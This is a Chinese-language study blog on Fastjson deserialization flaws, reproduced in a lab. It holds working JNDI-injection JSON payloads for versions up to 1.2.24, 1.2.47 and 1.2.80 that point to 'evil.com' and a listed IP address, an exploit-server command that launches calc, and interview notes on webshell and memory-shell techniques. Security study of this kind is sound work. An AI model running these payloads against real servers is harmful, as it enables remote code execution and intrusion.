组件漏洞之 Fastjson学习笔记
Fastjson
阿里巴巴公司开源的json解析器,它可以解析JSON格式的字符串,支持将JavaBean序列化为JSON字符串,也可以从JSON字符串反序列化到JavaBean。
重点就是:不同版本的fastjson,不同的poc
利用POC项目:
[GitHub - kezibei/fastjson_payload](https://github.com/kezibei/fastjson_payload)(该项目是针对不同环境的)

Fastjson 漏洞 = 把一段 JSON,变成了一个 Java 对象。
而你可以指定让它变成 “危险对象”,这个对象一创建,就自动执行命令。
Java 是强类型语言,必须知道你要转成什么类(对象)。
正常代码:
User user = JSON.parseObject(json, User.class);
但 Fastjson 有个自动功能:
你在 JSON 里写 @type,它就自动把 JSON 转成你指定的那个类。
{
"@type":"com.xxx.User",
"name":"test"
}
意思就是:
@type = 我要你帮我创建这个类的对象!
漏洞的关键:如果 @type 指定一个 “危险类” 呢?
Java 里有一些自带的类,它们的特点是:
只要一创建对象,就会执行代码 / 连接网络 / 加载类
攻击者最常用的危险类:com.sun.rowset.JdbcRowSetImpl
这个类有两个关键属性:
dataSourceName→ 可以填一个远程地址(rmi://xxx)autoCommit→ 一旦设为 true,就会自动去请求远程地址
FastJson <= 1.2.24
{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://evil.com:9999/evilFile",
"autoCommit":true
}

发生漏洞的代码如下:
public class Poc {
public static void main(String[] args) throws Exception {
String payload = "用户可控制的JSON数据";
JSON.parseObject(payload, Feature.SupportNonPublicField);
}
}
然后我们先在vps起一个RMI/LDAP服务器,放置恶意文件,比如弹一个计算器
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "calc" -A 47.93.166.149

替换payload
String payload = "{\r
"
+ " \"a\": {\r
"
+ " \"@type\": \"com.sun.rowset.JdbcRowSetImpl\", \r
"
+ " \"dataSourceName\": \"rmi://127.0.0.1:1099/Object\", \r
"
+ " \"autoCommit\": true\r
"
+ " }\r
"
+ "}";

弹计算机了wc有黑客(如果未成功的注意Jdk版本要小于8u191)

靶场复现一下
https://github.com/bewhale/JavaSec
记得新建一个数据库
导入javasec.sql
可以命令启动,端口冲突的话在配置文件中改
"C:\Program Files\Java\jdk1.8.0_112\bin\java.exe" -jar .\javasec-0.0.1-SNAPSHOT.jar
可以以idea代码启动,可以看到是符合漏洞版本的



FastJson <= 1.2.47
{
"a": {
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"b": {
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://evil.com:9999/evilFile",
"autoCommit":true
}
}

继续利用
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "calc" -A 47.93.166.149

替换payload
"{\r
"
+ " \"a\": {\r
"
+ " \"@type\": \"java.lang.Class\", \r
"
+ " \"val\": \"com.sun.rowset.JdbcRowSetImpl\"\r
"
+ " }, \r
"
+ " \"b\": {\r
"
+ " \"@type\": \"com.sun.rowset.JdbcRowSetImpl\", \r
"
+ " \"dataSourceName\": \"rmi://47.93.166.149:1099/mrhkom\", \r
"
+ " \"autoCommit\": true\r
"
+ " }\r
"
+ "}"

启动java靶场:
用idea将漏洞版本改一下改成1.2.47符合漏洞版本,Maven重新加载一下

启动靶场
需要换poc了,原来的弹不出计算器

FastJson <= 1.2.80 (利用条件比较苛刻)
autoType关闭了
利用poc只能用源码项目中调用的第三方库或者组件(类)等

public static void main(String[] args) {
//ParserConfig.getGlobalInstance().setSafeMode(true);
String json = "{\"@type\":\"java.lang.Exception\",\"@type\":\"com.example.fastjson.poc20220523.Poc20220523\",\"name\":\"calc\"}";
JSON.parse(json);
}

在实战中,获取目标项目源码后看下调用的第三方库或者组件有哪些,然后在利用poc项目去找对应的POC去测试看看(机会不大)
利用POC:
GitHub - kezibei/fastjson_payload(该项目是针对不同环境的)

一些面试题目
一、Fastjson 反序列化原理
简答版
Fastjson 在使用 autotype 处理 JSON 对象时,未对@type字段进行完全的安全性验证,导致攻击者可以传入危险类,并调用危险方法连接远程 RMI 主机,通过恶意类执行代码。
详细口述版
- Fastjson 在解析 JSON 时,如果开启了 autotype 功能,会根据 JSON 中的
@type字段指定的类名进行反序列化。 - 当解析 JSON 对象时,Fastjson 会自动调用指定类的 setter 方法。
- 漏洞产生原因是 Fastjson 未对
@type字段进行完全的安全性验证,攻击者可以指定危险类。 - 攻击者构造包含恶意类的 JSON 数据,解析时会实例化该类并调用其方法。
- 通过精心构造的类链(如 JNDI 注入),可以连接远程 RMI 服务并加载恶意类,最终实现远程代码执行。
二、代码层面导致 Fastjson 漏洞的函数
parseObject反序列化 JSON 时,自动调用类的 setter 方法和 getter 方法,触发恶意逻辑。
三、Java 漏洞为什么需要攻击链?攻击链原理是什么?
- 原因:单一反序列化无法直接完成 RCE(远程代码执行)。
- 原理:通过串联多个类的方法调用,形成一条可利用的调用链,最终到达命令执行、类加载、文件写入等危险操作。
四、Fastjson 反序列化不出网怎么利用?
- TemplatesImpl:动态生成字节码执行
- BCEL 链:JDK8u251 之前可用,通过 BCEL 编码字节码执行任意代码
- 写静态文件:利用文件写入类写入 Webshell
- 本地 JNDI 资源:利用目标本地已有的 JNDI 资源
- 内存马注入:注入 Tomcat Valve、Filter 等内存马
- 反射机制:通过 Java 反射执行敏感操作
- JMX 利用:目标开启 JMX 时可利用执行命令
五、出网利用流程总结
Kali 使用 marshalsec 启动 LDAP/RMI 服务,并使用 Python 启动 HTTP 服务;
攻击者构造 JSON 格式 Payload,利用 Fastjson 反序列化恶意类;
Payload 中包含攻击者 RMI 服务地址,让目标服务器主动请求攻击者服务;
恶意服务器下发恶意类,目标加载执行,造成 RCE。
六、红队视角:如何判断目标使用 Fastjson?
HTTP 请求特征
- 请求传递 JSON 数据,
Content-Type: application/json - 请求体中包含
@type字段 - 报错信息返回:
com.alibaba.fastjson.JSONException、java.lang.ClassNotFoundException - 响应头 / Cookie 中出现:
X-Powered-By: Fastjson
快速判断法
请求包为 JSON 格式,包含@type或TemplatesImpl类,且报错信息带 fastjson 关键字。
温馨提示:本文内容仅用于合法授权的安全学习与研究交流,严禁用于未授权渗透测试、漏洞利用或任何违法行为。
涉及企业或平台的未公开漏洞信息,请遵循负责任披露原则,勿公开传播可直接复现的敏感细节。
如存在侵权、错误信息或不当内容,请联系站方处理,我们将及时核实并删除。邮箱:admin@baimaojianghu.com。
